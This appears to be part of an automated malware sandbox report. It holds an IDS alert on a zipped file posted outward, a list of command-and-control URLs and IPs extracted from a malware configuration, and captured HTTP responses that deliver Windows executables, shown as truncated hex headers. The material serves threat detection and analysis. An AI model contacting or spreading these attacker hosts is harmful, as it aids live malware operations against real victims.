Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50047 -> 104.21.53.8:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 18 Oct 2024 13:04:08 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 18 Oct 2024 12:50:09 GMTETag: "2d8200-624bfbe479d49"Accept-Ranges: bytesContent-Length: 2982400Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 00 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 31 00 00 04 00 00 a9 c1 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 66 6d 63 61 63 63 66 00 f0 2a 00 00 00 06 00 00 ec 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 72 6c 73 7a 6c 65 79 00 10 00 00 00 f0 30 00 00 04 00 00 00 5c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 31 00 00 22 00 00 00 60 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 18 Oct 2024 13:04:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 18 Oct 2024 12:50:16 GMTETag: "1cb800-624bfbeaba684"Accept-Ranges: bytesContent-Length: 1882112Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 6b 00 00 04 00 00 6d 97 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 73 76 67 68 76 61 74 00 60 1a 00 00 e0 50 00 00 56 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 63 69 72 75 75 69 77 00 10 00 00 00 40 6b 00 00 04 00 00 00 92 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 6b 00 00 22 00 00 00 96 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 18 Oct 2024 13:04:26 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 18 Oct 2024 12:10:20 GMTETag: "1a8c00-624bf2fe2133d"Accept-Ranges: bytesContent-Length: 1739776Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 44 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 45 00 00 04 00 00 2b 2d 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 a0 00 00 00 02 00 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6e 68 62 67 69 72 79 00 40 1a 00 00 80 2a 00 00 2a 1a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 64 63 6f 76 64 76 73 00 20 00 00 00 c0 44 00 00 04 00 00 00 66 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 44 00 00 22 00 00 00 6a 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 18 Oct 2024 13:04:37 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 18 Oct 2024 13:04:53 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 18 Oct 2024 12:50:16 GMTETag: "1cb800-624bfbeaba684"Accept-Ranges: bytesContent-Length: 1882112Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 6b 00 00 04 00 00 6d 97 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 73 76 67 68 76 61 74 00 60 1a 00 00 e0 50 00 00 56 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 63 69 72 75 75 69 77 00 10 00 00 00 40 6b 00 00 04 00 00 00 92 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 6b 00 00 22 00 00 00 96 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 18 Oct 2024 13:04:57 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 18 Oct 2024 12:50:23 GMTETag: "1c7c00-624bfbf1b199a"Accept-Ranges: bytesContent-Length: 1866752Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4a 00 00 04 00 00 93 e5 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 ee 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 ed 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6a 6b 6f 65 66 72 6b 00 60 19 00 00 90 30 00 00 60 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6b 73 70 77 6e 70 69 00 10 00 00 00 f0 49 00 00 06 00 00 00 54 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4a 00 00 22 00 00 00 5a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 18 Oct 2024 13:04:59 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 18 Oct 2024 12:09:55 GMTETag: "e1400-624bf2e602712"Accept-Ranges: bytesContent-Length: 922624Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0b 50 12 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 e2 79 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 a9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 a9 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
